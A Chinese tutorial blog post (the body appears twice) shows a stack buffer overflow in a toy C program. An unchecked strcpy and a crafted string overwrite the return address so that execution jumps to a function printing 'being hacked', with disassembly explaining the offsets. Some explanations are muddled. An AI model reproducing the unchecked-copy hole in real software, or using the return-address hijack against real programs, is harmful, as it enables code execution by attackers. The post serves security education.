深入理解黑客攻击-缓冲区溢出攻击
2016-11-09 22:50
190 查看
缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动
如果有人利用栈中分配的缓冲区写溢出,悄悄地将一段恶意代码的首地址
作为返回地址覆盖写到原先的正确的返回地址处。那么程序在执行ret的时候会悄悄地转移到这个恶意代码段处执行
从而可以轻易获得系统特权,进而进行各种非法操作
造成缓冲区溢出的原因就是系统没有对作为缓冲区的数组进行越界检查
给出一段代码
#include <stdio.h>
#include "string.h"
void outputs(char *str)
{
char buffer[16];
strcpy(buffer,str);//str to buffer
printf("%s \n",buffer);
}
void hacker(void)
{
printf("being hacked\n");
}
int main(int argc,char *argv[])
{
outputs("1234567123456712345671234567\xaa\x84\x04\x08");
return 0;
}
main函数调用outputs函数。
通过对main函数进行反汇编,可以得到
Dump of assembler code for function main:
0x080484be <+0>: push %ebp
0x080484bf <+1>: mov %esp,%ebp
0x080484c1 <+3>: and $0xfffffff0,%esp
0x080484c4 <+6>: sub $0x10,%esp
0x080484c7 <+9>: movl $0x8048584,(%esp)
0x080484ce <+16>: call 0x804847d <outputs>
0x080484d3 <+21>: mov $0x0,%eax
0x080484d8 <+26>: leave
0x080484d9 <+27>: ret
通过对outputs函数进行反汇编,可以得到
Dump of assembler code for function outputs:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: sub $0x28,%esp
0x08048483 <+6>: mov 0x8(%ebp),%eax
0x08048486 <+9>: mov %eax,0x4(%esp)
0x0804848a <+13>: lea -0x18(%ebp),%eax
0x0804848d <+16>: mov %eax,(%esp)
0x08048490 <+19>: call 0x8048340 <strcpy@plt>
0x08048495 <+24>: lea -0x18(%ebp),%eax
0x08048498 <+27>: mov %eax,0x4(%esp)
0x0804849c <+31>: movl $0x8048570,(%esp)
0x080484a3 <+38>: call 0x8048330 <printf@plt>
0x080484a8 <+43>: leave
0x080484a9 <+44>: ret
可以看出,汇编代码
0x08048490 <+19>: call 0x8048340 <strcpy@plt>
是对应于c代码
strcpy(buffer,str);//str to buffer这一句的
那么strr[0]是对应于 0x0804848a <+13>: lea -0x18(%ebp),%eax这一句的
那么buffer[0]是对应于 0x08048483 <+6>: mov 0x8(%ebp),%eax这一句的
也就是说strcpy(buffer,str);这一条语句,就是将buffer数组赋值给str数组
而ebp+8的地址就是返回地址所在的内存地址的位置
所以我们必须将-0x18(%ebp)到4(%ebp)之间全部填充满
然后-4(%ebp)到8(%ebp)填充为我们想要程序返回的地址
这样函数outputs执行完毕以后,就会返回到我们想要返回的地址
通过对hacker进行反汇编
我们得到hacker函数的首地址
如图所示,hacker函数的首地址为0x080484aa
那么我们就把esp+4到esp+8的区间填充为0x080484aa
可以看到,劫持成功了
如果有人利用栈中分配的缓冲区写溢出,悄悄地将一段恶意代码的首地址
作为返回地址覆盖写到原先的正确的返回地址处。那么程序在执行ret的时候会悄悄地转移到这个恶意代码段处执行
从而可以轻易获得系统特权,进而进行各种非法操作
造成缓冲区溢出的原因就是系统没有对作为缓冲区的数组进行越界检查
给出一段代码
#include <stdio.h>
#include "string.h"
void outputs(char *str)
{
char buffer[16];
strcpy(buffer,str);//str to buffer
printf("%s \n",buffer);
}
void hacker(void)
{
printf("being hacked\n");
}
int main(int argc,char *argv[])
{
outputs("1234567123456712345671234567\xaa\x84\x04\x08");
return 0;
}
main函数调用outputs函数。
通过对main函数进行反汇编,可以得到
Dump of assembler code for function main:
0x080484be <+0>: push %ebp
0x080484bf <+1>: mov %esp,%ebp
0x080484c1 <+3>: and $0xfffffff0,%esp
0x080484c4 <+6>: sub $0x10,%esp
0x080484c7 <+9>: movl $0x8048584,(%esp)
0x080484ce <+16>: call 0x804847d <outputs>
0x080484d3 <+21>: mov $0x0,%eax
0x080484d8 <+26>: leave
0x080484d9 <+27>: ret
通过对outputs函数进行反汇编,可以得到
Dump of assembler code for function outputs:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: sub $0x28,%esp
0x08048483 <+6>: mov 0x8(%ebp),%eax
0x08048486 <+9>: mov %eax,0x4(%esp)
0x0804848a <+13>: lea -0x18(%ebp),%eax
0x0804848d <+16>: mov %eax,(%esp)
0x08048490 <+19>: call 0x8048340 <strcpy@plt>
0x08048495 <+24>: lea -0x18(%ebp),%eax
0x08048498 <+27>: mov %eax,0x4(%esp)
0x0804849c <+31>: movl $0x8048570,(%esp)
0x080484a3 <+38>: call 0x8048330 <printf@plt>
0x080484a8 <+43>: leave
0x080484a9 <+44>: ret
可以看出,汇编代码
0x08048490 <+19>: call 0x8048340 <strcpy@plt>
是对应于c代码
strcpy(buffer,str);//str to buffer这一句的
那么strr[0]是对应于 0x0804848a <+13>: lea -0x18(%ebp),%eax这一句的
那么buffer[0]是对应于 0x08048483 <+6>: mov 0x8(%ebp),%eax这一句的
也就是说strcpy(buffer,str);这一条语句,就是将buffer数组赋值给str数组
而ebp+8的地址就是返回地址所在的内存地址的位置
所以我们必须将-0x18(%ebp)到4(%ebp)之间全部填充满
然后-4(%ebp)到8(%ebp)填充为我们想要程序返回的地址
这样函数outputs执行完毕以后,就会返回到我们想要返回的地址
通过对hacker进行反汇编
我们得到hacker函数的首地址
如图所示,hacker函数的首地址为0x080484aa
那么我们就把esp+4到esp+8的区间填充为0x080484aa
可以看到,劫持成功了
相关文章推荐
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(4)
- 深入理解黑客攻击-直接修改可执行文件
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(5)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(6)
- 深入汇编理解缓冲区溢出攻击
- 深入理解黑客攻击-改变程序的返回地址
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(1)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(2)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(3)
- 深入理解黑客攻击-sql注入攻击
- 深入理解委托
- 深入理解JavaScript系列 ----(4):立即调用的函数表达式
- 深入理解Android的startservice和bindservice
- 关于session的深入理解
- 深入理解JVM—Java内存模型
- 深入理解JavaScript系列(6):S.O.L.I.D五大原则之单一职责SRP
- 深入理解uboot 2016 - 基础篇(S3C2410 与S5PV210处理器启动流程分析)
- 深入理解Java:注解(Annotation)自定义注解入门
- Java 集合深入理解(6):AbstractList
- Java泛型深入理解